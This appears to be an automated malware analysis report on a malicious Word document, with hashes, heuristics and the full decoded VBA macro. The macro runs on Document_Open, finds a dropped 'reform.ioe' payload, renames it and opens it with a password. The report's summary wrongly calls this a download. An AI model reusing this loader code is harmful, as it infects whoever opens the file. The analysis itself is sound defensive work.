Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19da6e4981aac9a2…

MALICIOUS

Office (OLE)

596.0 KB Created: 2021-09-14 11:46:00 First seen: 2021-09-23
MD5: 7cbc4c74870212cf418af8417001c23b SHA-1: d60621a16a639740bd9129a87eefc8f12f0f5c2b SHA-256: 19da6e4981aac9a2144b1f170a579c6408aaf4c069f99d1ede2c2f1df9eafcbb
72 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro appears to be designed to download and save a second-stage payload named 'reform.doc' using the password '2281337'. The macro's functionality is partially truncated, but its intent to download and execute further malicious content is clear. The presence of the Document_Open macro and the embedded VBA code strongly suggests a spearphishing attachment attack vector.

Heuristics 5

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/2006/encryption In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/passwordIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/keyEncryptor/certificateIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2923 bytes
SHA-256: 767ea77c562515bd47e0818da03cc09698729322d771c7ac6f59d9951442af52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\" & "reform.doc") = "" Then

    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\" & "reform.doc")

Word.Documents.Close

End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub



Attribute VB_Name = "Module3"

Sub bvxfcsd()
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49
Dim fafaa As String
fafaa = "L" & "o"
fafaa = fafaa & "c" & "a" & "l"
fafaa = fafaa & "/"
fafaa = fafaa & "T" & "e" & "mp"
Dim kuls As String
kuls = fafaa
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub





Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "reform.ioe"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim oxl
oxl = "\reform" & ".doc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1693099757/Ole10Native 423745 bytes
SHA-256: dcaa7b5233dccbb59bd9e7eaab72eb3f360c83270b67799729bf90a41f764e36
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.
ole10native_00_reform.ioe ole-package-payload OLE Ole10Native payload: ObjectPool/_1693099757/Ole10Native; display_name=reform.ioe; full_path=C:\Users\MyPc\AppData\Local\Temp\reform.ioe; temp_path=; def_file= 423424 bytes
SHA-256: 949661da346e7ed607d0fda1e7c7d5a6a944ea62f6fcecd8418f9912a1b095cf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.

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